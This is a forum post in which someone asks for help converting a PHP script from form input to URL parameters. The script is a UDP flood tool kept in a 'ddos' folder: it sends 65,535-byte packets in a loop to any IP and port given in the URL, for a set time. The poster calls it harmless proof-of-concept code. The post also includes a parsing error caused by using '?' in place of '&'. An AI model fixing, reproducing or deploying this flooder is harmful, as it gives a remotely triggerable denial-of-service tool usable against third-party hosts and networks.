Hey i am having some issues with some code. The values were submitted by a form but i want to change it to its submitted by the URL using $_GET. But doesnt want to work. Can someone please help me? This is just POC code no malicious intentions here. PHP is not my first language. Would appreciate any help. I am using netcat to test this. <?php $packets = 0; $ip = $_GET['ip']; $rand = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){ $out .= "X"; } while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } ?> URL Example: http://127.0.0.1/ddos/udp.php?ip=127.0.0.1?port=81?time=10 Error: Warning: fsockopen() [function.fsockopen]: unable to connect to udp://127.0.0.1?port=81?time=1:0 (Failed to parse address "127.0.0.1?port=81?time=1") in C:\xampp\htdocs\ddos\udp.php on line 19 Will not parse the variables properly. Have spent so much time on this.
